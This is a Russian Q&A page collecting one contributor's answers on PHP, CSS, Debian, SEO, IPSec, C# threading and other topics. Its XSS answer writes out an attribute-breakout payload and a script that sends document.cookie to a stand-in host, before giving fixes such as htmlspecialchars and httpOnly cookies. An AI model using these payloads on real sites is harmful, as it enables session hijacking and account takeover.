Задать вопрос
  • Error_reporting(E_ALL & ~E_NOTICE) или error_reporting(E_ALL)?

    abler98
    @abler98
    Software Engineer
    1. error_reporting(E_ALL & ~E_NOTICE); // включается вывод всех ошибок, кроме E_NOTICE
    Использовать ini_set('display_errors', 1); // включает показ ошибок
    2. Да, только так вы еще ошибки E_NOTICE будете получать
    3. Одно из преимуществ mysqli в том, что в нем есть ООП стиль (инетерейс) + он работает быстрее mysql
    4. mysql_fetch_array при указании второго параметра может возвращать ассоциативный или численный массив, без него - объединенный
    mysql_fetch_assoc и mysql_fetch_num возвращает только один тип массива
    5. echo '', print_r($res_arr,true), ''; - это вообще ГК, можно просто print_r($res_arr); - выводит массив в виде строки, но если указать второй паремтр true - функция вернет результат, а не выведет.
    Ответ написан
    Комментировать
  • Как при всплытии окна сделать затемнение заднего фона?

    Amirez
    @Amirez
    В чем секрет кота Бориса?
    <div class="modal-wrapper">
          <div class="modal-window">
            .........
          </div>
         <div class="overlay"></div>
    </div>
    
    <style>
    .modal-wrapper {
        position:fixed;
        display:flex;
        width:100%;
        height:100%;
        justify-content:center;
        align-items:center;
        background:rgba(0,0,0,.7);
        z-index:100;
    }
    
    .overlay {
        position:absolute;
        width:100%;
        height:100%;
        z-index:1;
    }
    
    .modal-window {
       width:300px;
       height:500px;
       z-index:2;
    }
    </style>


    ну и дальше JS)
    Чтоб при клике на .overlay закрывалось окно
    Ответ написан
    Комментировать
  • Можно очистить папку /var/backups (Debian)?

    @pfg21
    ex-турист
    в комплект ко всему озвученному посоветую поставить ncdu. отличная консольная прога с отличным отображением потребляемого места в каждом субкаталоге.
    запускаем и смотрим что занимает место в корневом каталоге.
    ncdu -x /
    - x для того чтобы не лезла на внешние примонтированые устройства.
    Ответ написан
    1 комментарий
  • Можно очистить папку /var/backups (Debian)?

    Adamos
    @Adamos
    Судя по бэкапу пакетов, вы обновляли систему.
    Если заодно обновлялось ядро, не забудьте удалить его старые версии. Они (со всем добром, которое сохраняется специально для них) могут занимать куда больше, чем какие-то там бэкапы в /var.
    Ответ написан
    1 комментарий
  • Можно очистить папку /var/backups (Debian)?

    borisdenis
    @borisdenis
    Ленив и вреден...
    Все что заканчивается на .gz можно смело удалить, это архив журнала
    Ответ написан
    2 комментария
  • Есть апп, задающий ребёнку развивающие задачки, а в случае успешного решения задачки ставящий мультик с ютуба?

    Adamos
    @Adamos
    Ваш "компромисс" не решает проблему, а обостряет ее. Решая задачки ради мультиков, ребенок их возненавидит (задачи, а не мультики). Вы ее просто превращаете в крысу, которой нужно давить на рычажок, чтобы стимулировать центр удовольствия в мозгу.

    Оттаскивайте ребенка от телевизора и планшета не запретами и ограничениями, а предлагая другие интересные занятия. В том числе развивающие. И занимайтесь с ним сами так много, как можете. Иначе дальше будет только хуже.

    Моей сейчас семь, мультики любит, но без фанатизма. Мы успешно прошли все подшивки "Школы семи гномов", рекомендую. Из развивающих игрушек использовали разве что GComprix, и то очень умеренно. Зато настольных игр у нее полный шкаф. Для вашего возраста уже кое-что можно брать - "Доббль", например.

    В четыре года мы взяли букварь, и дочь читала по странице каждый вечер. Потом - мы читаем сказку на ночь. До сих пор последний час перед сном - час чтения. Сначала дочь, потом мы. К семи годам читает бегло, с выражением, а главное - с удовольствием. Школьные уроки - в охотку и с интересом.

    Нельзя приставить к ребенку автомат и рассчитывать, что он будет развиваться. Ничего так не выйдет. Воспитание такого ребенка, каким хочешь его видеть - это труд, ежедневный и упорный. Если же вам всего лишь хочется, чтобы ребенок не мешал - ну, это-то устроить несложно. Сложности будут потом.
    Ответ написан
    6 комментариев
  • Как поднять посещаемость сайта?

    RotgarSett
    @RotgarSett
    SEO Эксперт
    Первый шаг - выявление направленности проекта:
    • коммерческий
    • информационный
    • энциклопедический
    • социальная сеть и прочее

    Далее, после того как определились с типом ресурса, выявляем важнейшие для его оптимизации факторы ранжирования. Так, например, для коммерческих проектов во главе угла стоят коммерческие факторы ранжирования, а вот для информационного проекта необходимо учитывать полноту раскрытия информации, стиль подачи и многое другое, подробнее можно почитать в этой статье на Хабре.

    Далее есть список факторов которые необходимо учитывать всем ресурсам, это технические, семантические и поведенческие факторы.

    Для начала необходимо подготовить фундамент - провести подробный анализ техническихфакторов помогут такие программы как Netpeak Spider или Screaming Frog (программ конечно многое множество, но эти используют чаще всего). Но, к сожалению, тулсами можно проверить не все и необходимо будет изучить матчасть и проверять многие технические аспекты руками.

    Затем переходим к семантике, это очень сложный вопрос который лучше будет описать в другом ответе, но, в двух словах, необходимо убедиться что у всех страниц сайта заполнены важные элементы семантики (title, h1 и прочее) и они соответствуют контенту страницы.

    После, к UX сайта, четко продумывая взаимодействие пользователя и максимальное для него удобство. Тут же сразу учтем и часть коммерческих факторов, и оформление контента и прочее что напрямую связано с поведением пользователя.

    В финале мы получим идеально внутренне оптимизированный ресурс и можно будет приступать к внешней оптимизации.

    Старайтесь делать все максимально полезным для пользователя. Органичность содержимого сайта, реальная польза входящей ссылки для пользователя на стороннем ресурсе и прочее белое SEO это то к чему надо стремиться!

    Яндекс подсказывает как развивать сайт белыми методами и чтобы он был полезен пользователю. Все материалы можно найти:
    В Блоге Вебмастеров
    На канале Академии Яндекса
    В Хелпе Яндекс Вебмастера
    Ответ написан
    1 комментарий
  • Как подключиться через IPSec?

    fzfx
    @fzfx
    18,5 дм
    0. Если у вас есть логин-пароль, это означает либо, что они не имеют никакого отношения к IPSec-туннелю, либо вам надо поднимать не просто IPSec, а IPSec + L2TP или IPSec + PPPoE.
    1. Находите в инете мануал по настройке IPSec под вашу ОС (тот же Debian, например), пытаетесь выполнить. Постарайтесь найти актуальную инструкцию на актуальный дистрибутив: все эти Swan-ы вечно меняют названия от релиза к релизу с Opwnswan на Strongswan и обратно. Плюс pluto, да...
    2. При ошибках - смотрите вывод в консоль, смотрите логи в /var/log, /var/log/messages, /var/log/syslog и т. п., гуглите текст ошибки.
    3. Настройка IPSec - процесс длинный и практически всегда сопровождается ошибками в настройках, падающими в лог. Различными. Вы их нам не приводите.
    4. Универсального мануала в стиле "скопировать в терминал и нажать Enter" нет.
    5. На память процесс настройки IPSec со всеми возможными виляниями в разные стороны помнят, надо полагать, считанные десятки людей на планете. На тостере вы их можете и не докричаться, так что советую браться за это дело самому и выполнять его методом проб и ошибок. Ошибки можно слать сюда - появится инфа для обсуждения.

    у меня на debian 9 openswan + l2tp настроены сейчас так:
    # cat /etc/ipsec.conf
    # /etc/ipsec.conf - Libreswan IPsec configuration file
    #
    # Manual:     ipsec.conf.5
    config setup
    virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:25.0.0.0/8,%v4:100.64.0.0/10,%v6:fd00::/8,%v6:fe80::/10
    #logfile=/var/log/pluto.log
    #plutodebug=all
    include /etc/ipsec.d/*.conf


    # cat /etc/ipsec.secrets
    %any: PSK "HERE_IS_MY_PRESHARED_KEY"


    # cat /etc/ppp/xl2tpd-options
    asyncmap 0
    auth
    crtscts
    lock
    hide-password
    modem
    lcp-echo-interval 30
    lcp-echo-failure 4
    noipx
    require-mschap-v2
    ms-dns 8.8.8.8
    ms-dns 8.8.4.4


    # cat /etc/ppp/chap-secrets
    HERE_IS_MY_LOGIN * HERE_IS_MY_PASSWORD *
    Ответ написан
    6 комментариев
  • L2TP IPSec PSK для чего используется PSK Key?

    Если стороны не имеют общей доверенной информации друг о друге, то любой алгоритм установки сессионного ключа - будь то Диффи-Хеллман или более сложные - все равно уязвим к атаке "man-in-the-middle" : злоумышленник представляется одному абоненту как якобы второй, а второму - как якобы первый. При этом он создает два сессионных ключа - половина пути трафика шифруется первым, потом расшифровывается в точке злоумышленника, возможно модифицируется им, а затем на вторую половину пути трафик зашифровывается вторым сессионным ключом. Абоненты выявить подлог не могут.

    Для защиты от этого нужен "кусочек" доверенной информации между абонентами:
    - либо PKI инфраструктура
    - либо PSK (pre-shared key)

    Т.е. фактически ответ - для аутентификации удаленной стороны.
    Ответ написан
    1 комментарий
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Это вообще люди делают?

    dimovich85
    @dimovich85 Куратор тега CSS
    https://u-academy.net/
    Поделюсь с вами вот такой ссылкой:
    https://www.youtube.com/playlist?list=PLswdBLT9llb...
    Ответ написан
    1 комментарий
  • Верстка с нуля: какие основные этапы работы?

    Vlad_IT
    @Vlad_IT Куратор тега Вёрстка
    Front-end разработчик
    Использую vscode+webpack+pug+scss+бэм. Из физических инструментов, основной моник: lg ultrawide 29um69g, рядом прикручен моник от ноутбука повешенный вертикально, подключенный через универсальный скаллер.

    0) Запускаю Spotify :-)

    1) Произвожу установку всех необходимых модулей для сборки. В моем случае у меня набор конфигураций для webpack (отдельные файлы для pug, scss, static и.т.д., выбираю что нужно).

    2) Запускаю avocode, загружаю в него макет. Определяю в нем переменные (в то же время записываю их, чтобы сразу кинуть в scss файл) для цветов, размеров шрифтов и.т.д. чтобы при получении кусочков кода из него, он сразу расставлял переменные.

    3) Запускаю VS Code, открываю нужную папку.

    4) Пишу размету на Pug. Пишу с БЭМ, если встречаю повторяющийся блок, то открываю файл _mixins.pug, в который пишу миксины для повторяющихся блоков, например товаров, пунктов меню, каких-то блоков и.т.д. Pug умеет делать циклы, это ускоряет сильно.

    5) Когда HTML готов, начинаю делать каркас. Если дизайн сделан по сетке, определяю контейнеры, колонки, строки в свои классы (не пишу в html тучи классов аля col-md-6, а пишу в SCSS инклуды в нужные мне блоки, типа @include make-col(2) и.т.д.).

    6) Экспортирую картинки из Avocode. Очень делается просто, указываю папку и просто кликаю экспорт и ввожу название файла и расширения. Преимущественно для иконок использую svg, если нет svg, то ищу эту иконку в интернете (дизайнеры редко рисуют иконки сами, но зато любят вставлять их не в векторе). Если иконка простая, могу сам ее в inkscape обвести, ну и если нет, то экспортирую png в размере (благо авокод это позволяет, если конечно дизайнер не вставил в исходном маленьком размере). Когда есть контакт с дизайнером, трясу его, ибо растр это плохо для иконок.

    7) Пишу стили блоков из страницы. На этом этапе можно на втором монике параллельно смотреть футураму или
    Арчера :-) Но чаще на широком монике слева браузер, справа VS Code, а на втором монике Avocode (может меняться местами с браузером). Мысленно нарезаю страницу на блоки. Для каждого блока (БЭМ) создаю отдельный scss файл (кто-то даже для элемента создает, но мне лень), из него сразу выписываю все селекторы. Иногда могу сначала выписать все селекторы со страницы (но так лучше не делать, т.к. во время работы может потребоваться изменить что-то в разметке), но чаще для одного блока выполняю этот пункт и за ним сразу выполняю пункт 8, потом для нового блока опять 7 и 8 и.т.д.

    8) Пишу css код вместе с Avocode, у него беру нужные мне параметры (а он уже подставил в них переменные), и вставляю в мой код. И параллельно сверяю со скрином макета используя вот это расширение https://chrome.google.com/webstore/detail/perfectp...

    9) Пишу адаптив. Я не могу привыкнуть к методологии mobile-first, поэтому пишу всегда сначала полную версию сайта. Я понимаю, что это чревато всякими проблемами и это типа не модно, но мне норм.

    10) Медиа-запросы пишу прямо в блоках, для каждого блока/элемента/модификатора может быть отдельный медиа-запрос. Но для начала определяю breakpoint'ы для разных экранов (чтобы их не было сотни разных), если использую Bootstrap, то беру его breakpoint'ы.

    11) Добавляю анимашки. Даже если заказчик не просил отдельно (и если не указал отдельно, что нельзя), он все равно будет доволен, а с animate.css+onscreen.js это вообще работа 10 минут. Сложные анимации обговариваю отдельно, чтобы не сделать ненужную работу.

    11) Все снова сверяю, пишу скрипты где надо. Для слайдеров в 99% случаев подходит slick (с доработками конечно, но там хорошее API), для других случаев могу написать свой.

    12) Сдаю заказчику и жду ответа сидя на тостере/пикабу.

    Это чисто мой опыт, опыт фрилансера, не знаю, как делают другие и не могу на 100% утверждать что это 100% правильный способ. Я так и не смог заставить свой конфиг webpack правильно вставлять спрайты svg.
    Надеюсь чем-то поможет мой ответ.
    Ответ написан
    7 комментариев
  • Как снизить время загрузки сервера на сайте WP?

    lamer350
    @lamer350
    กำลังสูงสุด
    Чтобы ускорить WP раз в 10 вам нужно сделать сервер: nginx + php7 + opcache
    При этом удалить все плагины кеширования в самой WP!

    Ускорение в 10 раз реально при условии что у вас apache + php5.6, реальные замеры на реальных проектах (без оптимизации кода снижение ответа сервера с 2 сек до 250млс, главное чтобы WP и плагины у вас были актуальных версий с поддержкой php7)

    UPD: Если речь о сайте что у вас в подписи, то вам нужно обновить php до 7.1 или 7.2 и включить opcache, ответ сервера снизится раз в 5 точно! у вас уже стоит nginx, его можно разве что обновить и включить http2 для многопоточный передачи css/js/img - это отразится именно общей скорости загрузки страницы. Так же как писал выше, попробуйте отключить плагин кеширования в WP (после всех обновлений что писал выше), если у вас итоговый ответ сервера будет 300-400 млс то он вам не понадобится, а сейчас он так же создает нагрузку на сервер и без него первая загрузка страницы могла бы быть быстрее чем сейчас.
    Ответ написан
    2 комментария
  • Как изменить кодировку из utf-8 на windows-1251 для сериализированного массива или json?

    alsopub
    @alsopub
    Если вы тянете данные с сайта, где кодировка Windows-1251, то поменяйте местами кодировки в iconv для конвертации Win1251 -> UTF8, а не наоборот как сейчас.
    Ответ написан
  • Где Вы берете шаблоны для Bootstrap 3?

    @web_exito1
    Ответ написан
    Комментировать
  • Как ограничить количество одновременно запускаемых потоков?

    @basrach
    Самый простой вариант это использовать Parallel.Foreach.
    var myEntities = new MyEntity[100];
    var maxThreads = 15;
    
    System.Threading.Tasks.Parallel.ForEach(
        myEntities,
        new System.Threading.Tasks.ParallelOptions { MaxDegreeOfParallelism = maxThreads },
        entity =>
        {
            entity.Do()
        });


    Второй вариант использовать Semaphore или SemaphoreSlim.
    var myEntities = new MyEntity[100];
    var maxThreads = 15;	
    
    var semaphoreSlim = new SemaphoreSlim(maxThreads);
    var tasks = new List<Task>(myEntities.Length);
    foreach (var entity in myEntities)
    {
    	tasks.Add(Task.Run(() =>
    	{
    		semaphoreSlim.Wait();
    		try
    		{
    			entity.Do();
    		}
    		finally
    		{
    			semaphoreSlim.Release();	
    		}
    	}));
    }
    
    Task.WaitAll(tasks.ToArray());


    Если вы хотите использовать класс Thread напрямую, то
    var myEntities = new MyEntity[100];
    var maxThreads = 3;	
    
    var semaphore = new Semaphore(maxThreads, maxThreads);
    var threads = new List<Thread>(myEntities.Length);
    foreach (var entity in myEntities)
    {
    	var thread = new Thread(() =>
    	{
    		semaphore.WaitOne();
    		try
    		{
    			entity.Do();
    		}
    		finally
    		{
    			semaphore.Release();
    		}
    	});
    	
    	threads.Add(thread);
    	
    	thread.Start();
    }
    
    foreach (var thread in threads)
    	thread.Join();


    Хотя из условий задачи кажется, что здесь вполне можно обойтись Task. Task предпочтительней еще и по той причине, что потоки переиспользуются. Т.е. задействованных потоков будет столько, сколько одновременно выполняется задач, например 15. В случае же создания потока напрямую через класс Thread, 15 будут работать, остальные просто ждать, при этом все равно расходуя ресурсы.
    Ответ написан
    Комментировать
  • Где получить список IP адресов мобильного оператора YOTA?

    С их сайта https://www.yota.ru/support/internet#/226260/2044740
    Москва: 94.25.168.1 — 94.25.175.254
    Санкт-Петербург: 94.25.228.1 — 94.25.229.255
    Астрахань: 188.162.41.1 — 188.162.41.255
    Владимир: 94.25.161.1 — 94.25.161.254
    Владивосток: 188.162.229.1 — 188.162.229.255
    Иркутск: 188.162.245.1 — 188.162.245.255
    Йошкар-Ола: 188.162.43.1 — 188.162.43.255
    Калуга: 94.25.162.1 — 94.25.162.254
    Кострома: 94.25.230.1 — 94.25.230.255
    Краснодар: 188.162.166.1 — 188.162.167.255
    Красноярск: 188.162.80.1 — 188.162.80.255
    Казань: 188.162.39.1 — 188.162.39.255
    Новосибирск: 188.162.14.1 — 188.162.15.255
    Набережные Челны: 188.162.42.1 — 188.162.42.255
    Омск: 188.162.86.1 — 188.162.86.255
    Оренбург: 188.162.40.1 — 188.162.40.255
    Самара: 188.162.36.1 — 188.162.37.255
    Сочи: 188.162.132.1 — 188.162.132.255
    Тула: 94.25.160.1 — 94.25.160.254
    Томск: 188.162.84.1 — 188.162.84.255
    Уфа: 188.162.38.1 — 188.162.38.254
    Хабаровск: 188.162.228.1 — 188.162.228.255
    Ответ написан
    2 комментария
  • Почему не могу установить вебхук при создании телеграм бота?

    wbsr
    @wbsr Автор вопроса
    Программист - любитель
    А как его проверить то?

    Вот так?

    <?
    $wait = 1; // wait Timeout In Seconds
    $host = 'api.telegram.org';
    $ports = [
        'http'  => 80,
        'https' => 443,
        'ftp'   => 21,
    ];
    
    foreach ($ports as $key => $port) {
        $fp = @fsockopen($host, $port, $errCode, $errStr, $wait);
        echo "Ping $host:$port ($key) ==> ";
        if ($fp) {
            echo 'SUCCESS';
            fclose($fp);
        } else {
            echo "ERROR: $errCode - $errStr";
        }
        echo PHP_EOL;
    };
    ?>
    Ответ написан
    Комментировать